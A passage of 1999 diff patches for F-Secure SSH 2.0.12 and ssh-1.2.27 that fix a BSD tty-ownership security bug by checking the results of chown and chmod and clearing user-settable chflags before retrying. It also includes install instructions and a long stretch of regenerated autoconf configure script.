+++ f-secure-ssh-2.0.12/apps/ssh/sshchsession.c Wed Aug 11 19:14:44 1999
@@ -1288,8 +1288,12 @@
   /* If we have a pseudo-terminal, log that we are now logged out. */
   if (session->have_pty)
     {
-      ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname));
-      ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname);
+      if (session->stream != NULL)
+        {
+          SSH_TRACE(2, ("Destroying session stream, and logging user out."));
+          ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname));
+          ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname);
+        }
     }

 #ifdef SSH_CHANNEL_X11
diff -u --recursive -X /u/sjl/bin/diff-src-db
f-secure-ssh-2.0.12.orig/configure.in f-secure-ssh-2.0.12/configure.in
--- f-secure-ssh-2.0.12.orig/configure.in       Fri Jan 29 13:34:29 1999
+++ f-secure-ssh-2.0.12/configure.in    Wed Aug 11 19:14:44 1999
@@ -864,7 +864,7 @@
 AC_CHECK_HEADERS(sia.h sys/mkdev.h util.h shadow.h)
 AC_CHECK_FUNCS(revoke openpty _getpty setpgrp setpgid ttyslot authenticate)
 AC_CHECK_FUNCS(makeutx setlogin openpty _getpty innetgr initgroups setpgrp)
-AC_CHECK_FUNCS(signal setrlimit getrlimit)
+AC_CHECK_FUNCS(signal setrlimit getrlimit chflags)
 AC_CHECK_LIB(c, crypt, [true], AC_CHECK_LIB(crypt, crypt))
 AC_CHECK_LIB(sec, getspnam)
 AC_CHECK_LIB(seq, get_process_stats)
diff -u --recursive -X /u/sjl/bin/diff-src-db
f-secure-ssh-2.0.12.orig/lib/sshsession/sshunixptystream.c
f-secure-ssh-2.0.12/lib/sshsession/sshunixptystream.c
--- f-secure-ssh-2.0.12.orig/lib/sshsession/sshunixptystream.c  Fri Jan 29
13:35:43 1999
+++ f-secure-ssh-2.0.12/lib/sshsession/sshunixptystream.c       Wed Aug 11 19:18:54
1999
@@ -22,6 +22,8 @@
 #include "sshtimeouts.h"
 #include "sigchld.h"

+#define SSH_DEBUG_MODULE "SshUnixPtyStream"
+
 typedef enum {
   SSH_PTY_NORMAL,
   SSH_PTY_BSD_PACKET
@@ -126,10 +128,86 @@
       tty_gid = owner_gid;
       tty_mode = S_IRUSR|S_IWUSR|S_IWGRP|S_IWOTH;
     }
-
+
+ retry_chown:
   /* Change ownership of the tty. */
-  (void)chown(namebuf, owner_uid, tty_gid);
-  (void)chmod(namebuf, tty_mode);
+  if (chown(namebuf, owner_uid, tty_gid) < 0)
+    {
+      /* chown failed. Atleast two possibilities. Either we are not
+         running as root, in which case this is OK, or we are running
+         on BSD, and somebody has put some flags to the tty. */
+
+      /* Check whether we are root or not.*/
+      if (getuid() != UID_ROOT)
+        {
+          /* We are not, and then this is OK. */
+          SSH_DEBUG(2, ("chown failed (but we're not root anyway) for " \
+                        "%s, error %s", namebuf, strerror(errno)));
+        }
+      else
+        {
+#ifdef HAVE_CHFLAGS
+          static Boolean retrying = FALSE;
+          struct stat st;
+
+          if (!retrying)
+            {
+              SSH_TRACE(0, ("chown failed for %s, error: %s. Removing "     \
+                            "user-settable flags, and retrying.",           \
+                            namebuf, strerror(errno)));
+
+              if (stat(namebuf, &st) < 0)
+                {
+                  ssh_warning("stat failed for %s, error: %s",
+                              namebuf, strerror(errno));
+                }
+              else
+                {
+                  SSH_TRACE(2, ("Removing user-settable flags with chflags."));
+                  /* Remove user definable flags. */
+                  if (chflags(namebuf, st.st_flags &
+                              ~(UF_NODUMP | UF_IMMUTABLE |
+                                UF_APPEND | UF_OPAQUE)) < 0)
+                    {
+                      SSH_TRACE(0, ("chflags failed for %s, error: %s", \
+                                    namebuf, strerror(errno)));
+                    }
+                  else
+                    {
+                      SSH_TRACE(2, ("Retrying..."));
+                      retrying = TRUE;
+                      goto retry_chown;
+                    }
+                }
+            }
+          else
+            {
+              SSH_TRACE(0, ("chown failed even with retry. error: %s",  \
+                            strerror(errno)));
+            }
+
+#endif /* HAVE_CHFLAGS */
+          ssh_warning("ssh_pty_allocate_and_fork: chown failed for %s.",
+                      namebuf);
+          return SSH_PTY_ERROR;
+        }
+    }
+
+  if (chmod(namebuf, tty_mode) < 0)
+    {
+      if (getuid() != UID_ROOT)
+        {
+          /* We are not, and then this is (probably) OK. */
+          SSH_DEBUG(2, ("chmod failed (but we're not root anyway) for " \
+                        "%s, error %s", namebuf, strerror(errno)));
+        }
+      else
+        {
+          ssh_warning("ssh_pty_allocate_and_fork: chmod %s: %s",
+                      namebuf, strerror(errno));
+          return SSH_PTY_ERROR;
+        }
+    }

   /* Initialize SIGCHLD handling.  This will ensure the SIGCHLD won't get
      delivered until we register the handler for the new process below. */
diff -u --recursive -X /u/sjl/bin/diff-src-db
f-secure-ssh-2.0.12.orig/lib/sshutil/sshfilexfers.c
f-secure-ssh-2.0.12/lib/sshutil/sshfilexfers.c
--- f-secure-ssh-2.0.12.orig/lib/sshutil/sshfilexfers.c Mon Jan 18 13:07:26 1999
+++ f-secure-ssh-2.0.12/lib/sshutil/sshfilexfers.c      Wed Aug 11 19:14:44 1999
@@ -327,7 +327,7 @@
         {
 #ifdef HAVE_FCHOWN
           /* Note: we ignore the return value. */
-          fchown(fd, attrs->uid, attrs->gid);
+          (void)fchown(fd, attrs->uid, attrs->gid);
 #endif /* HAVE_FCHOWN */
         }

@@ -734,7 +734,7 @@
 #endif /* HAVE_FUTIMES */
         }

-      /* XXX some operation(s) may fail (for example chmod() in BSD fails
+      /* XXX some operation(s) may fail (for example chown() in BSD fails
          always if not super-user), but that is no excuse to stop executing
          them alltogether. So, we need some system to inform the user of
          the error(s). This is not it. */
diff -u --recursive -X /u/sjl/bin/diff-src-db
f-secure-ssh-2.0.12.orig/sshconf.h.in f-secure-ssh-2.0.12/sshconf.h.in
--- f-secure-ssh-2.0.12.orig/sshconf.h.in       Fri Jan 29 13:34:59 1999
+++ f-secure-ssh-2.0.12/sshconf.h.in    Wed Aug 11 19:14:44 1999
@@ -279,6 +279,9 @@
 /* Define if you have the authenticate function.  */
 #undef HAVE_AUTHENTICATE

+/* Define if you have the chflags function.  */
+#undef HAVE_CHFLAGS
+
 /* Define if you have the chmod function.  */
 #undef HAVE_CHMOD

diff -u f-secure-ssh-2.0.12.orig/configure f-secure-ssh-2.0.12/configure
--- f-secure-ssh-2.0.12.orig/configure  Fri Jan 29 13:35:02 1999
+++ f-secure-ssh-2.0.12/configure       Wed Aug 11 19:07:25 1999
@@ -6054,7 +6054,7 @@
 fi
 done

-for ac_func in signal setrlimit getrlimit
+for ac_func in signal setrlimit getrlimit chflags
 do
 echo $ac_n "checking for $ac_func""... $ac_c" 1>&6
 echo "configure:6061: checking for $ac_func" >&5

Patch for problem with tty ownership with chflags and chown in BSD 4.4
variants. Fixes a security bug in tty allocation.

This patch works for ssh-1.2.27.

Apply with the following commands:

% cd /wherever/you/hold/your/sources/ssh-1.2.27
% patch -p1 -l < /path/to/where/you/saved/patch-ssh-1.2.27-bsd.tty.chown
% ./configure --whatever-config-flags-you-use
% make clean
% make
% su
Password: ***********
# make install
# kill -HUP `cat /var/run/sshd.pid`

You should be all set.

Sami Lehtinen <sjl@ssh.fi>

--begin patch--
diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-1.2.27.orig/auth-passwd.c
ssh-1.2.27/auth-passwd.c
--- ssh-1.2.27.orig/auth-passwd.c       Wed May 12 14:19:23 1999
+++ ssh-1.2.27/auth-passwd.c    Wed Aug 11 19:49:32 1999
@@ -613,7 +613,13 @@
             /* get_name pulls out just the name not the
                type */
               strcpy(ccname + 5, krb5_cc_get_name(ssh_context, ccache));
-              (void) chown(ccname + 5, pw->pw_uid, pw->pw_gid);
+              if (chown(ccname + 5, pw->pw_uid, pw->pw_gid) < 0)
+                {
+                  log_msg("Kerberos: chown failed for %s, error: %s",
+                          ccname + 5, strerror(errno));
+                  packet_send_debug("Kerberos: chown failed for %s", ccname +
5);
+                  goto errout;
+                }

               /* If tgt was passed unlink file */
               if (ticket)
diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-1.2.27.orig/config.h.in
ssh-1.2.27/config.h.in
--- ssh-1.2.27.orig/config.h.in Wed May 12 14:20:04 1999
+++ ssh-1.2.27/config.h.in      Wed Aug 11 20:20:51 1999
@@ -360,6 +360,9 @@
 /* Define if you have the authenticate function.  */
 #undef HAVE_AUTHENTICATE

+/* Define if you have the chflags function.  */
+#undef HAVE_CHFLAGS
+
 /* Define if you have the clock function.  */
 #undef HAVE_CLOCK

diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-1.2.27.orig/configure.in
ssh-1.2.27/configure.in
--- ssh-1.2.27.orig/configure.in        Wed May 12 14:20:02 1999
+++ ssh-1.2.27/configure.in     Wed Aug 11 20:05:13 1999
@@ -433,6 +433,7 @@
 AC_CHECK_FUNCS(strchr memcpy setlogin openpty _getpty clock fchmod ulimit)
 AC_CHECK_FUNCS(gethostname getdtablesize umask innetgr initgroups setpgrp)
 AC_CHECK_FUNCS(setpgid daemon waitpid ttyslot authenticate getpt isastream)
+AC_CHECK_FUNCS(chflags)

 AC_REPLACE_FUNCS(strerror memmove remove random putenv crypt socketpair
snprintf)

diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-1.2.27.orig/sshd.c
ssh-1.2.27/sshd.c
--- ssh-1.2.27.orig/sshd.c      Wed May 12 14:19:29 1999
+++ ssh-1.2.27/sshd.c   Wed Aug 11 20:26:31 1999
@@ -2897,9 +2897,87 @@
               tty_mode = S_IRUSR|S_IWUSR|S_IWGRP|S_IWOTH;
             }

+        retry_chown:
+
           /* Change ownership of the tty. */
-          (void)chown(ttyname, pw->pw_uid, tty_gid);
-          (void)chmod(ttyname, tty_mode);
+          if (chown(ttyname, pw->pw_uid, tty_gid) < 0)
+            {
+              /* chown failed. Atleast two possibilities. Either we are not
+                 running as root, in which case this is OK, or we are running
+                 on BSD, and somebody has put some flags to the tty. */
+
+              /* Check whether we are root or not.*/
+              if (getuid() != UID_ROOT)
+                {
+                  /* We are not, and then this is OK. */
+                  debug("chown failed (but we're not root anyway) for "
+                        "%s, error %s", ttyname, strerror(errno));
+                }
+              else
+                {
+#ifdef HAVE_CHFLAGS
+                  static int retrying = 0;
+                  struct stat st;
+
+                  if (!retrying)
+                    {
+                      debug("chown failed for %s, error: %s. Removing "
+                            "user-settable flags, and retrying.",
+                            ttyname, strerror(errno));
+
+                      if (stat(ttyname, &st) < 0)
+                        {
+                          error("stat failed for %s, error: %s",
+                                ttyname, strerror(errno));
+                        }
+                      else
+                        {
+                          debug("Removing user-settable flags with "
+                                "chflags.");
+                          /* Remove user definable flags. */
+                          if (chflags(ttyname, st.st_flags &
+                                      ~(UF_NODUMP | UF_IMMUTABLE |
+                                        UF_APPEND | UF_OPAQUE)) < 0)
+                            {
+                              debug("chflags failed for %s, error: %s",
+                                    ttyname, strerror(errno));
+                            }
+                          else
+                            {
+                              debug("Retrying...");
+                              retrying = 1;
+                              goto retry_chown;
+                            }
+                        }
+                    }
+                  else
+                    {
+                      debug("chown failed even with retry. error: %s",
+                            strerror(errno));
+                    }
+
+#endif /* HAVE_CHFLAGS */
+                  error("ssh_pty_allocate_and_fork: chown failed for %s.",
+                        ttyname);
+                  goto fail;
+                }
+            }
+
+          if (chmod(ttyname, tty_mode) < 0)
+            {
+              if (getuid() != UID_ROOT)
+                {
+                  /* We are not, and then this is (probably) OK. */
+                  debug("chmod failed (but we're not root anyway) for "
+                        "%s, error %s", ttyname, strerror(errno));
+                }
+              else
+                {
+                  error("ssh_pty_allocate_and_fork: chmod %s: %s",
+                        ttyname, strerror(errno));
+                  goto fail;
+                }
+            }

           /* Get TERM from the packet.  Note that the value may be of arbitrary
              length. */
diff -u ssh-1.2.27.orig/configure ssh-1.2.27/configure
--- ssh-1.2.27.orig/configure   Wed May 12 14:20:06 1999
+++ ssh-1.2.27/configure        Wed Aug 11 20:08:14 1999
@@ -4512,16 +4512,71 @@
 fi
 done

+for ac_func in chflags
+do
+echo $ac_n "checking for $ac_func""... $ac_c" 1>&6
+echo "configure:4519: checking for $ac_func" >&5
+if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then
+  echo $ac_n "(cached) $ac_c" 1>&6
+else
+  cat > conftest.$ac_ext <<EOF
+#line 4524 "configure"
+#include "confdefs.h"
+/* System header to define __stub macros and hopefully few prototypes,
+    which can conflict with char $ac_func(); below.  */
+#include <assert.h>
+/* Override any gcc2 internal prototype to avoid an error.  */
+/* We use char because int might match the return type of a gcc2
+    builtin and then its argument prototype would still apply.  */
+char $ac_func();
+
+int main() {
+
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_$ac_func) || defined (__stub___$ac_func)
+choke me
+#else
+$ac_func();
+#endif
+
+; return 0; }
+EOF
+if { (eval echo configure:4547: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+  rm -rf conftest*
+  eval "ac_cv_func_$ac_func=yes"
+else
+  echo "configure: failed program was:" >&5
+  cat conftest.$ac_ext >&5
+  rm -rf conftest*
+  eval "ac_cv_func_$ac_func=no"
+fi
+rm -f conftest*
+fi
+
+if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then
+  echo "$ac_t""yes" 1>&6
+    ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz'
'ABCDEFGHIJKLMNOPQRSTUVWXYZ'`
+  cat >> confdefs.h <<EOF
+#define $ac_tr_func 1
+EOF
+
+else
+  echo "$ac_t""no" 1>&6
+fi
+done
+

 for ac_func in strerror memmove remove random putenv crypt socketpair snprintf
 do
 echo $ac_n "checking for $ac_func""... $ac_c" 1>&6
-echo "configure:4520: checking for $ac_func" >&5
+echo "configure:4575: checking for $ac_func" >&5
 if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
   cat > conftest.$ac_ext <<EOF
-#line 4525 "configure"
+#line 4580 "configure"
 #include "confdefs.h"
 /* System header to define __stub macros and hopefully few prototypes,
     which can conflict with char $ac_func(); below.  */
@@ -4544,7 +4599,7 @@

 ; return 0; }
 EOF
-if { (eval echo configure:4548: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:4603: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_func_$ac_func=yes"
 else
@@ -4572,7 +4627,7 @@


 echo $ac_n "checking whether ln -s works""... $ac_c" 1>&6
-echo "configure:4576: checking whether ln -s works" >&5
+echo "configure:4631: checking whether ln -s works" >&5
 if eval "test \"`echo '$''{'ac_cv_prog_LN_S'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
@@ -4603,7 +4658,7 @@
 # SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff"
 # ./install, which can be erroneously created by make from ./install.sh.
 echo $ac_n "checking for a BSD compatible install""... $ac_c" 1>&6
-echo "configure:4607: checking for a BSD compatible install" >&5
+echo "configure:4662: checking for a BSD compatible install" >&5
 if test -z "$INSTALL"; then
 if eval "test \"`echo '$''{'ac_cv_path_install'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -4655,7 +4710,7 @@
 # Extract the first word of "ar", so it can be a program name with args.
 set dummy ar; ac_word=$2
 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
-echo "configure:4659: checking for $ac_word" >&5
+echo "configure:4714: checking for $ac_word" >&5
 if eval "test \"`echo '$''{'ac_cv_prog_AR'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
@@ -4685,7 +4740,7 @@
   # Extract the first word of "ranlib", so it can be a program name with args.
 set dummy ranlib; ac_word=$2
 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
-echo "configure:4689: checking for $ac_word" >&5
+echo "configure:4744: checking for $ac_word" >&5
 if eval "test \"`echo '$''{'ac_cv_prog_RANLIB'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
@@ -4719,7 +4774,7 @@
 # Extract the first word of "$ac_prog", so it can be a program name with args.
 set dummy $ac_prog; ac_word=$2
 echo $ac_n "checking for $ac_word""... $ac_c" 1>&6
-echo "configure:4723: checking for $ac_word" >&5
+echo "configure:4778: checking for $ac_word" >&5
 if eval "test \"`echo '$''{'ac_cv_prog_MAKEDEP'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
@@ -4754,7 +4809,7 @@
 # Uses ac_ vars as temps to allow command line to override cache and checks.
 # --without-x overrides everything else, but does not touch the cache.
 echo $ac_n "checking for X""... $ac_c" 1>&6
-echo "configure:4758: checking for X" >&5
+echo "configure:4813: checking for X" >&5

 # Check whether --with-x or --without-x was given.
 if test "${with_x+set}" = set; then
@@ -4816,12 +4871,12 @@

   # First, try using that file with no special directory specified.
 cat > conftest.$ac_ext <<EOF
-#line 4820 "configure"
+#line 4875 "configure"
 #include "confdefs.h"
 #include <$x_direct_test_include>
 EOF
 ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out"
-{ (eval echo configure:4825: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }
+{ (eval echo configure:4880: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; }
 ac_err=`grep -v '^ *+' conftest.out`
 if test -z "$ac_err"; then
   rm -rf conftest*
@@ -4890,14 +4945,14 @@
   ac_save_LIBS="$LIBS"
   LIBS="-l$x_direct_test_library $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 4894 "configure"
+#line 4949 "configure"
 #include "confdefs.h"

 int main() {
 ${x_direct_test_function}()
 ; return 0; }
 EOF
-if { (eval echo configure:4901: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:4956: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   LIBS="$ac_save_LIBS"
 # We can link X programs with no special library path.
@@ -5003,17 +5058,17 @@
     case "`(uname -sr) 2>/dev/null`" in
     "SunOS 5"*)
       echo $ac_n "checking whether -R must be followed by a space""... $ac_c"
1>&6
-echo "configure:5007: checking whether -R must be followed by a space" >&5
+echo "configure:5062: checking whether -R must be followed by a space" >&5
       ac_xsave_LIBS="$LIBS"; LIBS="$LIBS -R$x_libraries"
       cat > conftest.$ac_ext <<EOF
-#line 5010 "configure"
+#line 5065 "configure"
 #include "confdefs.h"

 int main() {

 ; return 0; }
 EOF
-if { (eval echo configure:5017: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5072: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   ac_R_nospace=yes
 else
@@ -5029,14 +5084,14 @@
       else
        LIBS="$ac_xsave_LIBS -R $x_libraries"
        cat > conftest.$ac_ext <<EOF
-#line 5033 "configure"
+#line 5088 "configure"
 #include "confdefs.h"

 int main() {

 ; return 0; }
 EOF
-if { (eval echo configure:5040: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5095: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   ac_R_space=yes
 else
@@ -5068,7 +5123,7 @@
     # libraries were built with DECnet support.  And karl@cs.umb.edu says
     # the Alpha needs dnet_stub (dnet does not exist).
     echo $ac_n "checking for dnet_ntoa in -ldnet""... $ac_c" 1>&6
-echo "configure:5072: checking for dnet_ntoa in -ldnet" >&5
+echo "configure:5127: checking for dnet_ntoa in -ldnet" >&5
 ac_lib_var=`echo dnet'_'dnet_ntoa | sed 'y%./+-%__p_%'`
 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -5076,7 +5131,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-ldnet  $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 5080 "configure"
+#line 5135 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -5087,7 +5142,7 @@
 dnet_ntoa()
 ; return 0; }
 EOF
-if { (eval echo configure:5091: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5146: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -5109,7 +5164,7 @@

     if test $ac_cv_lib_dnet_dnet_ntoa = no; then
       echo $ac_n "checking for dnet_ntoa in -ldnet_stub""... $ac_c" 1>&6
-echo "configure:5113: checking for dnet_ntoa in -ldnet_stub" >&5
+echo "configure:5168: checking for dnet_ntoa in -ldnet_stub" >&5
 ac_lib_var=`echo dnet_stub'_'dnet_ntoa | sed 'y%./+-%__p_%'`
 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -5117,7 +5172,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-ldnet_stub  $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 5121 "configure"
+#line 5176 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -5128,7 +5183,7 @@
 dnet_ntoa()
 ; return 0; }
 EOF
-if { (eval echo configure:5132: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5187: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -5157,12 +5212,12 @@
     # The nsl library prevents programs from opening the X display
     # on Irix 5.2, according to dickey@clark.net.
     echo $ac_n "checking for gethostbyname""... $ac_c" 1>&6
-echo "configure:5161: checking for gethostbyname" >&5
+echo "configure:5216: checking for gethostbyname" >&5
 if eval "test \"`echo '$''{'ac_cv_func_gethostbyname'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
   cat > conftest.$ac_ext <<EOF
-#line 5166 "configure"
+#line 5221 "configure"
 #include "confdefs.h"
 /* System header to define __stub macros and hopefully few prototypes,
     which can conflict with char gethostbyname(); below.  */
@@ -5185,7 +5240,7 @@

 ; return 0; }
 EOF
-if { (eval echo configure:5189: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5244: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_func_gethostbyname=yes"
 else
@@ -5206,7 +5261,7 @@

     if test $ac_cv_func_gethostbyname = no; then
       echo $ac_n "checking for gethostbyname in -lnsl""... $ac_c" 1>&6
-echo "configure:5210: checking for gethostbyname in -lnsl" >&5
+echo "configure:5265: checking for gethostbyname in -lnsl" >&5
 ac_lib_var=`echo nsl'_'gethostbyname | sed 'y%./+-%__p_%'`
 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -5214,7 +5269,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-lnsl  $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 5218 "configure"
+#line 5273 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -5225,7 +5280,7 @@
 gethostbyname()
 ; return 0; }
 EOF
-if { (eval echo configure:5229: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5284: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -5255,12 +5310,12 @@
     # -lsocket must be given before -lnsl if both are needed.
     # We assume that if connect needs -lnsl, so does gethostbyname.
     echo $ac_n "checking for connect""... $ac_c" 1>&6
-echo "configure:5259: checking for connect" >&5
+echo "configure:5314: checking for connect" >&5
 if eval "test \"`echo '$''{'ac_cv_func_connect'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
   cat > conftest.$ac_ext <<EOF
-#line 5264 "configure"
+#line 5319 "configure"
 #include "confdefs.h"
 /* System header to define __stub macros and hopefully few prototypes,
     which can conflict with char connect(); below.  */
@@ -5283,7 +5338,7 @@

 ; return 0; }
 EOF
-if { (eval echo configure:5287: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5342: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_func_connect=yes"
 else
@@ -5304,7 +5359,7 @@

     if test $ac_cv_func_connect = no; then
       echo $ac_n "checking for connect in -lsocket""... $ac_c" 1>&6
-echo "configure:5308: checking for connect in -lsocket" >&5
+echo "configure:5363: checking for connect in -lsocket" >&5
 ac_lib_var=`echo socket'_'connect | sed 'y%./+-%__p_%'`
 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -5312,7 +5367,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-lsocket $X_EXTRA_LIBS $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 5316 "configure"
+#line 5371 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -5323,7 +5378,7 @@
 connect()
 ; return 0; }
 EOF
-if { (eval echo configure:5327: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5382: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -5347,12 +5402,12 @@

     # gomez@mi.uni-erlangen.de says -lposix is necessary on A/UX.
     echo $ac_n "checking for remove""... $ac_c" 1>&6
-echo "configure:5351: checking for remove" >&5
+echo "configure:5406: checking for remove" >&5
 if eval "test \"`echo '$''{'ac_cv_func_remove'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
   cat > conftest.$ac_ext <<EOF
-#line 5356 "configure"
+#line 5411 "configure"
 #include "confdefs.h"
 /* System header to define __stub macros and hopefully few prototypes,
     which can conflict with char remove(); below.  */
@@ -5375,7 +5430,7 @@

 ; return 0; }
 EOF
-if { (eval echo configure:5379: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5434: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_func_remove=yes"
 else
@@ -5396,7 +5451,7 @@

     if test $ac_cv_func_remove = no; then
       echo $ac_n "checking for remove in -lposix""... $ac_c" 1>&6
-echo "configure:5400: checking for remove in -lposix" >&5
+echo "configure:5455: checking for remove in -lposix" >&5
 ac_lib_var=`echo posix'_'remove | sed 'y%./+-%__p_%'`
 if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
@@ -5404,7 +5459,7 @@
   ac_save_LIBS="$LIBS"
 LIBS="-lposix  $LIBS"
 cat > conftest.$ac_ext <<EOF
-#line 5408 "configure"
+#line 5463 "configure"
 #include "confdefs.h"
 /* Override any gcc2 internal prototype to avoid an error.  */
 /* We use char because int might match the return type of a gcc2
@@ -5415,7 +5470,7 @@
 remove()
 ; return 0; }
 EOF
-if { (eval echo configure:5419: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5474: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else
@@ -5439,12 +5494,12 @@

     # BSDI BSD/OS 2.1 needs -lipc for XOpenDisplay.
     echo $ac_n "checking for shmat""... $ac_c" 1>&6
-echo "configure:5443: checking for shmat" >&5
+echo "configure:5498: checking for shmat" >&5
 if eval "test \"`echo '$''{'ac_cv_func_shmat'+set}'`\" = set"; then
   echo $ac_n "(cached) $ac_c" 1>&6
 else
   cat > conftest.$ac_ext <<EOF
-#line 5448 "configure"
+#line 5503 "configure"
 #include "confdefs.h"
 /* System header to define __stub macros and hopefully few prototypes,
     which can conflict with char shmat(); below.  */
@@ -5467,7 +5522,7 @@

 ; return 0; }
 EOF
-if { (eval echo configure:5471: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
+if { (eval echo configure:5526: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } &&
test -s conftest; then
   rm -rf conftest*
   eval "ac_cv_func_shmat=yes"
 else
@@ -5488,7 +5543,7 @@

     if test $ac_cv_func_shmat = no; then
       echo $ac_n "checking for shmat in -lipc""... $ac_c" 1>&6
-echo "configure:5492: checking for shmat in -lipc" >&5
+echo "configure:5547: checking for shmat in -lipc" >&5
 ac_lib_var=`echo ipc'_'shmat | sed 'y%./+-%__p_%'`
